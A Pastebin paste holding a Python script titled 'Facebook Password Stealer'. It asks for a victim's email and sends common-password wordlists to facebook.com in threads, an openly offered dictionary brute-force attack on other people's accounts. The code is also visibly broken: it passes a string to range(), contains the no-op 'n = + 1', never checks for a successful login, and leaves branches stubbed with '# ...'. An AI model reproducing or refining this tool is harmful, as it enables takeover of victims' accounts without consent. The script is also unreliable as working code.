edo_py

Facebook Password Stealer

Jul 15th, 2016
69
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.12 KB | None | 0 0
  1. import urllib.request
  2. import urllib.parse
  3. import threading
  4.  
  5.  
  6. def web():
  7.     for i in content:
  8.         username = input5
  9.         password = i
  10.         url = "https://www.facebook.com"
  11.         values = {
  12.             "email": username,
  13.             "password": password
  14.         }
  15.         data = urllib.parse.urlencode(values)
  16.         binary_data = data.encode("ascii")
  17.         req = urllib.request.Request(url, binary_data)
  18.         urllib.request.urlopen(req)
  19.  
  20. print("This script steal the password of Facebook accounts (may not work).\n"
  21.       "ABSOLUTELY DON'T MOVE ANY FILE INSIDE THE FOLDER AND MAKE SURE YOU HAVE A GOOD INTERNET CONNECTION"
  22.       " (about 10 Mbps).\n"
  23.       "To know how it works type 'help', to steal a Facebook account: type 'steal'.\n")
  24. while True:
  25.     input1 = input("[help|steal|exit]\n")
  26.     if input1 == "help":
  27.  
  28.         print("This script read all the lines of the chosen file\n"
  29.               "and it paste them in the Facebook password entry (one by one).\n"
  30.               "You must only choose the number of password you want to try and the Facebook email of the victim.\n")
  31.  
  32.     elif input1 == "steal":
  33.         input2 = input("How many password you want to try?\n"
  34.                        "Choices:\n"
  35.                        " • 100 (The fastest way, but with the minor possibility of get the right password.)\n"
  36.                        " • 500 (It's less fast then 100 but with a little more possibility "
  37.                        "to get the right password.)\n"
  38.                        " • 1.000 (It's less fast then 500 but with a little more possibility "
  39.                        "to get the right password.)\n"
  40.                        " • 10.000 (It's less fast then 1.000 but with a little more possibility "
  41.                        "to get the right password.)\n"
  42.                        " • 100.000 (It's very slow, but the possibilities are many.)\n"
  43.                        " • 1.000.000 (It's absolutely the most slow but, if the user does not use a strong password,"
  44.                        "you will have his/her password ;D )\n"
  45.                        "Your choice: ")
  46.         if input2 == "100":
  47.             file = open("common100passwords.txt", "r")
  48.             content = file.readlines()
  49.             input3 = input("Continue? [y|n]")
  50.             if input3 == "y":
  51.                 input4 = input("How many threads? ")
  52.                 if input4 != "" and input4.isdigit():
  53.                     threads = int(input4)
  54.                     input5 = input("Victim's email: ")
  55.                     for n in range(1, input4):
  56.                         threading.Thread(target=web).start()
  57.                         n = + 1
  58.                 else:
  59.                     print("Choose a valid number (unsigned integer number)\n")
  60.  
  61.             elif input3 == "n":
  62.                 break
  63.             else:
  64.                 print("ERROR: number not valid.\nTry again.\n")
  65.         elif input2 == "500":
  66.             file = open("common500passwords.txt", "r")
  67.             content = file.readlines()
  68.             input3 = input("Continue? [y|n]")
  69.             # ...
  70.         elif input2 == "1.000" or input2 == "1000":
  71.             file = open("common1.000passwords.txt", "r")
  72.             content = file.readlines()
  73.             input3 = input("Continue? [y|n]")
  74.             # ...
  75.         elif input2 == "10.000" or input2 == "10000":
  76.             file = open("common10.000passwords.txt", "r")
  77.             content = file.readlines()
  78.             input3 = input("Continue? [y|n]")
  79.             # ...
  80.         elif input2 == "100.000" or input2 == "100000":
  81.             file = open("common100.000passwords.txt", "r")
  82.             content = file.readlines()
  83.             input3 = input("Continue? [y|n]")
  84.             # ...
  85.         elif input2 == "1.000.000" or input2 == "1000000":
  86.             file = open("common1.000.000passwords.txt", "r")
  87.             content = file.readlines()
  88.             input3 = input("Continue? [y|n]")
  89.             # ...
  90.         else:
  91.             print("Choose only one of them.\n")
  92.     elif input1 == "exit":
  93.         break
  94.     else:
  95.         print("ERROR: command not found.\nTry again.\n")
Add Comment
Please, Sign In to add comment